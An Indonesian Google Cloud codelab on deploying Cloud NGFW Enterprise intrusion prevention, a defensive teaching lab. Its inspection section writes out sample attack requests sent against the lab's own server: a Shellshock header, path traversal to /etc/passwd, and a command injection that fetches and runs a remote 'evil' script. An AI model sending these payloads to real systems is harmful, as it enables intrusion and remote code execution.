Cloud NGFW Enterprise - Intrusion Prevention Service (tanpa TLS Inspection)

1. Pengantar

Cloud Next Generation Firewall (NGFW)

Cloud Next Generation Firewall adalah layanan firewall yang terdistribusi sepenuhnya dengan kemampuan perlindungan tingkat lanjut, segmentasi mikro, dan cakupan yang luas untuk melindungi workload Google Cloud Anda dari serangan internal dan eksternal.

Cloud NGFW memiliki manfaat berikut:

  • Layanan firewall terdistribusi: Cloud NGFW menyediakan penerapan berbasis host yang stateful dan terdistribusi sepenuhnya pada setiap workload untuk mengaktifkan arsitektur keamanan zero-trust.
  • Konfigurasi dan deployment yang disederhanakan: Cloud NGFW menerapkan kebijakan firewall jaringan dan hierarkis yang dapat dilampirkan ke node hierarki resource. Kebijakan ini memberikan pengalaman firewall yang konsisten di seluruh hierarki resource Google Cloud.
  • Kontrol terperinci dan mikro-segmentasi: Kombinasi kebijakan firewall dan Tag yang dikelola Identity and Access Management (IAM) memberikan kontrol yang baik untuk traffic utara-selatan dan timur-barat, hingga ke satu VM, di seluruh jaringan Virtual Private Cloud (VPC) dan organisasi.

Cloud NGFW tersedia di tingkat berikut:

Cloud NGFW Enterprise

Cloud NGFW Enterprise menambahkan Intrusion Prevention Service (IPS), kemampuan Lapisan 7, ke fabric Google Cloud Firewall yang terdistribusi. Pemeriksaan TLS didukung untuk mengizinkan pemeriksaan traffic terenkripsi TLS, tetapi tidak termasuk dalam cakupan codelab ini (lihat Codelab Cloud NGFW Enterprise dengan Pemeriksaan TLS).

Sekarang Anda dapat men-deploy pemeriksaan Next Generation Firewall (NGFW) Lapisan 7 yang andal dengan kontrol terperinci, tanpa melakukan perubahan apa pun pada arsitektur jaringan atau konfigurasi perutean.

Untuk mengaktifkan dan men-deploy kontrol firewall Lapisan 7 dengan IPS, Anda perlu melakukan tugas berikut:

  • Membuat sekumpulan endpoint firewall zona yang dikelola Google Cloud.
  • Secara opsional, buat Kebijakan Pemeriksaan TLS (tidak dibahas dalam codelab ini)
  • Secara opsional, buat Konfigurasi Kepercayaan (tidak dibahas dalam codelab ini)
  • Kaitkan endpoint ini dengan jaringan Virtual Private Cloud (VPC) tempat Anda memerlukan layanan Cloud NGFW Enterprise.
  • Lakukan perubahan sederhana pada kebijakan firewall dan aturan firewall yang ada untuk menentukan profil pencegahan ancaman bagi berbagai jalur traffic.

Kebijakan firewall jaringan

Kebijakan firewall jaringan berfungsi sebagai penampung untuk aturan firewall. Aturan yang ditentukan dalam kebijakan firewall jaringan tidak diterapkan di mana pun hingga kebijakan dikaitkan dengan jaringan VPC. Setiap jaringan VPC dapat memiliki satu kebijakan firewall jaringan yang terkait. Kebijakan firewall jaringan mendukung Tag yang diatur IAM (atau hanya Tag) dalam aturan firewall, yang menggantikan tag jaringan saat ini dan dapat digunakan untuk memberikan identitas ke workload.

Membagikan kebijakan firewall jaringan di seluruh jaringan dan integrasi dengan Tag yang diatur IAM sangat menyederhanakan konfigurasi dan pengelolaan firewall.

Dengan diperkenalkannya kebijakan firewall jaringan, kebijakan firewall Google Cloud kini terdiri dari komponen berikut:

  1. Kebijakan Firewall Hierarkis
  2. Aturan Firewall VPC
  3. Kebijakan Firewall Jaringan ( Global dan Regional)

Kebijakan firewall hierarkis didukung di node organisasi dan folder dalam hierarki resource, sedangkan aturan firewall VPC dan kebijakan firewall jaringan diterapkan di tingkat VPC. Perbedaan besar antara aturan firewall VPC dan kebijakan firewall jaringan adalah aturan firewall VPC hanya dapat diterapkan ke satu jaringan VPC, sedangkan kebijakan firewall jaringan dapat dilampirkan ke satu VPC atau grup VPC, di antara manfaat lainnya seperti update batch.

Terakhir, kita juga memiliki aturan firewall tersirat yang disertakan dengan setiap jaringan VPC:

  • Aturan keluar yang tindakannya adalah izinkan, tujuannya adalah 0.0.0.0/0
  • Aturan masuk yang tindakannya adalah tolak, sumbernya adalah 0.0.0.0/0

Secara default, urutan penerapan ditampilkan dalam diagram berikut:

21b3bcabc469ffe.png

Perhatikan bahwa urutan penerapan antara aturan firewall VPC dan kebijakan firewall jaringan global dapat ditukar. Pelanggan dapat menentukan urutan penerapan kapan saja dengan perintah gcloud.

Tag yang diatur IAM

Tag yang terintegrasi dalam aturan kebijakan firewall jaringan yang baru adalah resource key-value pair yang ditentukan di organisasi atau tingkat project hierarki resource Google Cloud. Tag tersebut berisi kontrol akses IAM, seperti namanya, yang menentukan siapa yang dapat melakukan tindakan apa pada tag. Misalnya, izin IAM memungkinkan seseorang menentukan akun utama mana yang dapat menetapkan nilai ke tag dan akun utama mana yang dapat melampirkan tag ke resource. Setelah Tag diterapkan ke resource, aturan firewall jaringan dapat menggunakannya untuk mengizinkan dan menolak traffic.

Tag mematuhi model resource pewarisan Google Cloud, yang berarti tag dan nilainya diteruskan ke seluruh hierarki dari induknya. Akibatnya, tag dapat dibuat di satu tempat, lalu digunakan oleh folder dan project lain di seluruh hierarki resource. Buka halaman ini untuk mengetahui detail tentang tag dan pembatasan akses.

Tag tidak boleh sama dengan tag jaringan. Yang terakhir adalah string yang dapat ditambahkan ke instance Compute Engine; string ini dikaitkan dengan instance dan akan hilang saat instance dinonaktifkan. Aturan firewall VPC dapat mencakup tag jaringan, tetapi karena tidak dianggap sebagai resource cloud, aturan tersebut tidak tunduk pada kontrol akses IAM.

Perhatikan bahwa Tag dan Tag yang diatur IAM digunakan secara bergantian dalam dokumen ini.

Yang akan Anda bangun

Codelab ini memerlukan satu project dan kemampuan untuk membuat jaringan VPC dengan konektivitas publik, dan akan menunjukkan cara Cloud NGFW Enterprise dapat menyediakan fungsi IPS dengan:

  • Memeriksa alur intra-VPC/subnet [Timur-Barat]
  • Memeriksa alur masuk dari Internet [Utara-Selatan]

Aliran yang akan diperiksa akan dipilih menggunakan parameter pencocokan Cloud Firewall, termasuk 5-tuple (IP sumber, IP tujuan, protokol, port sumber, port tujuan) dan Tag. Pemeriksaan TLS tidak disertakan dalam codelab ini.

52a0642ef8668ecf.png

Basis aturan kebijakan firewall jaringan akan mirip dengan tabel di bawah:

Prioritas

Arah

Target

Sumber

Tujuan

Tindakan

Jenis

100

Keluar

Quarantine_Tag

Semua

Semua

Tolak

Essentials

1000

Masuk

Server_Tag

Rentang Health Check

Semua

Izinkan

Essentials

2000

Masuk

Semua

Rentang Identity-Aware Proxy

Semua

Izinkan

Essentials

3000

Masuk

Semua

Geo, GCTI

Semua

Tolak

Standar

4000

Keluar

Semua

Semua

Geo, GCTI

Tolak

Standar

5000

Keluar

Semua

Semua

FQDN update sistem

Izinkan

Standar

6000

Masuk

Server_Tag

10.0.0.0/24

Semua

IPS

Enterprise

7.000

Masuk

Server_Tag

CloudNAT_IP

Semua

IPS

Enterprise

Yang akan Anda pelajari

Yang Anda butuhkan

  • Project Google Cloud
  • Pengetahuan tentang cara men-deploy instance dan mengonfigurasi komponen jaringan
  • Pengetahuan konfigurasi firewall VPC

2. Sebelum memulai

Membuat/memperbarui variabel

Codelab ini menggunakan $variables untuk membantu penerapan konfigurasi gcloud di Cloud Shell.

Di Cloud Shell, jalankan perintah di bawah ini dengan mengganti informasi dalam tanda kurung sesuai kebutuhan (lewati penetapan project jika project yang diinginkan sudah ditetapkan). Variabel yang berbeda digunakan untuk resource tingkat organisasi jika beberapa endpoint firewall diperlukan.

gcloud config set project [project-id]

export project_id=$(gcloud config list --format="value(core.project)")
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=cloudngfw
export org_prefix=cloudngfw
export billing_project_id=[project-id]

3. Mengaktifkan API

Aktifkan API jika Anda belum melakukannya:

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Pembuatan Endpoint dan Profil Keamanan Cloud NGFW Enterprise

Karena pembuatan Endpoint Enterprise Cloud NGFW memerlukan waktu sekitar 20 menit, endpoint akan dibuat terlebih dahulu dan penyiapan dasar dapat dilakukan secara paralel saat endpoint sedang dibuat.

Buat Profil Keamanan dan Grup Profil Keamanan:

gcloud network-security security-profiles threat-prevention \
  create $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $org_prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat

Output yang diharapkan:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com
plete...done.                                                                                                                                 
Created security profile group [$org_prefix-spg].

Konfirmasi bahwa resource berhasil dibuat:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

Output yang diharapkan:

NAME: cloudngfw-sp-threat
NAME: cloudngfw-spg

Buat endpoint Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints create $org_prefix-$zone \
  --zone=$zone --organization $org_id \
  --billing-project $billing_project_id

Jalankan perintah di bawah untuk mengonfirmasi bahwa endpoint sedang dibuat (STATUS: CREATING).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Output yang diharapkan (perhatikan bahwa format output dapat bervariasi sesuai dengan klien yang digunakan):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: CREATING

Atau, jalankan perintah di bawah untuk mendapatkan detail selengkapnya:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

Output yang diharapkan:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: CREATING
updateTime: '2023-04-25T18:08:45.493499362Z'

Proses pembuatan endpoint memerlukan waktu sekitar 20 menit. Lanjutkan ke bagian Penyiapan Dasar untuk membuat resource yang diperlukan secara paralel.

5. Penyiapan Dasar

Lanjutkan ke bagian berikut jika Anda lebih suka membuat resource dasar secara manual.

Jaringan dan subnet VPC

Jaringan VPC dan subnet

Buat jaringan VPC dan subnet:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Buat Cloud Router dan gateway Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Instance

Buat instance klien dan server web:

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --scopes=compute-ro \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils iperf3 tcpdump -y'

Tag tingkat project

Tetapkan izin tagAdmin dan/atau tagUser kepada pengguna jika diperlukan:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser

Buat kunci dan nilai Tag tingkat project:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-quarantine \
   --parent=$project_id/$prefix-vpc-tags

Mengikat tag ke instance:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

Kebijakan firewall jaringan global

Buat kebijakan firewall jaringan global:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise" --global

Buat aturan Cloud Firewall Essential untuk menolak traffic dari instance yang dikarantina (hanya dibuat sebagai contoh, tidak digunakan dalam codelab ini) dan mengizinkan traffic dari rentang health check dan identity-aware proxy:

gcloud compute network-firewall-policies rules create 100 \
        --description="block quarantined workloads" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \
        --dest-ip-ranges=0.0.0.0/0

gcloud compute network-firewall-policies rules create 1000 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 2000 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --src-ip-ranges=35.235.240.0/20

Buat aturan Cloud Firewall Standard untuk menolak traffic masuk dan keluar dari/ke negara yang diembargo, IP berbahaya yang diketahui, dan node keluar ToR; dan hanya mengizinkan traffic keluar ke FQDN tertentu untuk update sistem (hanya dibuat sebagai contoh, tidak digunakan dalam codelab ini):

gcloud compute network-firewall-policies rules create 3000 \
        --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=INGRESS \
        --src-region-codes CU,IR,KP,SY,XC,XD \
        --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 4000 \
        --description="block egress traffic to sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --dest-region-codes CU,IR,KP,SY,XC,XD \
        --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 5000 \
        --description "allow system updates" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=EGRESS \
--dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com

Buat aturan Cloud Firewall untuk mengizinkan traffic masuk east-west / intra-subnet dan north-south / internet dari rentang tertentu (aturan ini akan diperbarui untuk mengaktifkan Cloud NGFW Enterprise):

gcloud compute network-firewall-policies rules create 6000 \
        --description "allow ingress internal traffic from clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs all \
        --src-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud compute network-firewall-policies rules create 7000 \
        --description "allow ingress external traffic to server" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --enable-logging \
        --src-ip-ranges=$cloudnatip \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

Kaitkan kebijakan firewall jaringan ke jaringan VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

Load Balancer Jaringan TCP/UDP Eksternal

Mencadangkan alamat IP eksternal dan membuat grup instance serta health check:

gcloud compute addresses create $prefix-$region-nlbip --region=$region

gcloud compute instance-groups unmanaged create $prefix-ig \
    --zone $zone

gcloud compute instance-groups unmanaged add-instances $prefix-ig \
   --instances $prefix-$zone-www --zone $zone

gcloud compute health-checks create http $prefix-$region-hc-http80 \
   --region $region --port 80

Buat layanan backend dan aturan penerusan:

gcloud compute backend-services create $prefix-nlb-bes \
    --protocol TCP \
    --health-checks $prefix-$region-hc-http80 \
    --health-checks-region $region \
    --region $region

gcloud compute backend-services add-backend $prefix-nlb-bes \
    --instance-group $prefix-ig \
    --instance-group-zone $zone \
    --region $region

gcloud compute forwarding-rules create $prefix-nlb-ipv4 \
  --load-balancing-scheme EXTERNAL \
  --region $region \
  --ports 80 \
  --address $prefix-$region-nlbip \
  --backend-service $prefix-nlb-bes

6. Asosiasi Endpoint Cloud NGFW Enterprise

Tentukan ulang variabel lingkungan jika perlu.

Pastikan pembuatan Endpoint Cloud Firewall berhasil diselesaikan. Hanya lanjutkan setelah status ditampilkan sebagai AKTIF (selama pembuatan, status yang diharapkan adalah PEMBENTUKAN):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Output yang diharapkan (perhatikan bahwa format output dapat bervariasi sesuai dengan klien yang digunakan):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: ACTIVE

Atau, jalankan perintah di bawah untuk mendapatkan detail selengkapnya:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

Output yang diharapkan:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: ACTIVE
updateTime: '2023-04-25T18:29:40.840608100Z'

Kaitkan endpoint Cloud NGFW Enterprise ke jaringan VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc --endpoint $org_prefix-$zone \
  --organization $org_id

Proses pengaitan memerlukan waktu sekitar 10 menit. Hanya lanjutkan setelah status ditampilkan sebagai ACTIVE (status yang diharapkan adalah CREATING selama proses pembuatan):

gcloud network-security firewall-endpoint-associations list

Output yang diharapkan:

ID: cloudngfw-association
LOCATION: [zone]
NETWORK: cloudngfw-vpc
ENDPOINT: cloudngfw-[zone]
STATE: ACTIVE

Atau, jalankan perintah di bawah untuk mendapatkan detail selengkapnya:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

Output yang diharapkan:

createTime: '2023-05-01T22:25:06.218544436Z'
firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association
network: projects/[project-id]/global/networks/cloudngfw-vpc
state: ACTIVE
updateTime: '2023-05-01T22:33:06.467596536Z'

7. Aturan Inspeksi Cloud NGFW Enterprise

Buka tab baru dan mulai koneksi SSH ke VM klien melalui IAP (Anda harus menentukan variabel lagi di tab baru):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Tentukan variabel yang diperlukan dalam sesi SSH dan tetapkan variabel (pastikan nilainya sudah benar):

export region=[region]
export zone=[zone]
export prefix=cloudngfw

export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)")

export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")

curl kedua IP untuk mengonfirmasi bahwa keduanya dapat dijangkau:

curl $target_privateip --max-time 2

curl $target_nlbip --max-time 2

Hasil yang diharapkan untuk kedua permintaan curl:

Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]

Kirim contoh serangan ke IP server internal (traffic Timur-Barat / intra-VPC). Server web harus merespons semua permintaan, yang mengonfirmasi bahwa tidak ada pemeriksaan/pencegahan L7:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Kirim ulang contoh serangan ke IP server eksternal melalui Cloud NAT (traffic masuk Utara-Selatan), dan server web juga harus merespons semua permintaan:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Hasil yang diharapkan untuk IP publik dan pribadi:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

Beralih kembali ke Cloud Shell dan perbarui aturan ingress yang ada untuk mengaktifkan pemeriksaan L7:

gcloud compute network-firewall-policies rules update 6000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

gcloud compute network-firewall-policies rules update 7000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

Secara opsional, jelaskan aturan firewall untuk memverifikasi bahwa keduanya berhasil diperbarui:

gcloud compute network-firewall-policies rules describe 6000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

Output yang diharapkan:

---
action: apply_security_profile_group
description: allow ingress internal traffic from tagged clients
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: all
  srcIpRanges:
  - 10.0.0.0/24
priority: 800
ruleTupleCount: 4
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

Aturan 7000:

gcloud compute network-firewall-policies rules describe 7000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

Output yang diharapkan:

---
action: apply_security_profile_group
description: allow ingress external traffic to server
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: tcp
    ports:
    - '80'
  - ipProtocol: tcp
    ports:
    - '443'
  srcIpRanges:
  - [cloudnat-ip]
priority: 900
ruleTupleCount: 6
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

Beralih kembali ke VM klien dan kirim ulang contoh serangan ke IP server internal (pemeriksaan Intra-VPC / East-West):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Kirim ulang contoh serangan ke IP server eksternal melalui Cloud NAT (pemeriksaan masuk Utara-Selatan):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Tidak ada respons yang diterima untuk serangan pertama sesuai dengan output yang diharapkan di bawah, yang mengonfirmasi bahwa serangan dengan tingkat keparahan tinggi kini diblokir.

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

Buka Network Security > Threats di Konsol Cloud untuk memverifikasi log (Anda mungkin perlu memuat ulang beberapa kali jika serangan belum ditampilkan).

daa535fcc34873aa.png

Pilih salah satu serangan, lalu klik "Lihat log audit" di sisi kanan (buka di tab baru untuk beralih kembali dengan mudah). Luaskan serangan untuk menampilkan detailnya:

5f97cdef79e42eff.png

Atau, ganti filter Log Explorer dengan kueri di bawah:

resource.type="networksecurity.googleapis.com/FirewallEndpoint"

Entri log ancaman akan terlihat seperti di bawah ini:

5ea9581a7eb694c5.png

Paket yang dicegat Cloud Firewall dapat diverifikasi menggunakan filter Log Explorer di bawah (berguna untuk tujuan pemecahan masalah):

jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"

f3766ea8d66ddef8.png

Lanjutkan ke pemeriksaan traffic Internet (opsional) atau tutup sesi SSH dan lanjutkan ke bab berikutnya untuk mengetahui langkah-langkah pembersihan.

[Opsional] Pemeriksaan traffic internet

Seperti yang diverifikasi di bagian sebelumnya, alur yang diperiksa sejauh ini adalah intra-subnet/VPC (Timur-Barat) dan traffic masuk dari Internet (masuk Utara-Selatan). Cloud NGFW Enterprise juga dapat dikonfigurasi untuk memeriksa semua traffic internet (keluar Utara-Selatan) dengan membuat aturan keluar baru menggunakan Cloud Shell:

gcloud compute network-firewall-policies rules create 10000 \
   --description "inspect all egress internet traffic from clients" \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --global-firewall-policy \
   --layer4-configs=tcp:80,tcp:443 \
   --direction=EGRESS \
   --dest-ip-ranges=0.0.0.0/0 \
   --enable-logging \
   --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

Beralih kembali ke VM klien dan kirim ulang serangan dengan tingkat keparahan tinggi ke IP server eksternal:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

Output yang diharapkan:

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received

Beralihlah ke tab Ancaman di Cloud Console untuk memverifikasi log (Anda mungkin perlu memuat ulang beberapa kali). Serangan seharusnya telah diidentifikasi dan dicatat lagi, tetapi sekarang IP sumbernya bersifat internal karena aturan keluar dipicu terlebih dahulu:

36f8edf264dcddcd.png

Tutup sesi SSH dan lanjutkan ke bagian berikutnya untuk langkah-langkah pembersihan.

8. Langkah-langkah Pembersihan

Pembersihan Komponen Cloud NGFW Enterprise

Mencantumkan pengaitan Cloud NGFW Enterprise yang ada:

gcloud network-security firewall-endpoint-associations list

Hapus pengaitan Cloud NGFW Enterprise:

gcloud network-security firewall-endpoint-associations delete \
   $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list

Mencantumkan endpoint Cloud NGFW Enterprise yang ada:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Hapus endpoint Cloud NGFW Enterprise, yang dapat memerlukan waktu sekitar 20 menit:

gcloud -q network-security firewall-endpoints delete \
   $org_prefix-$zone --zone=$zone --organization $org_id

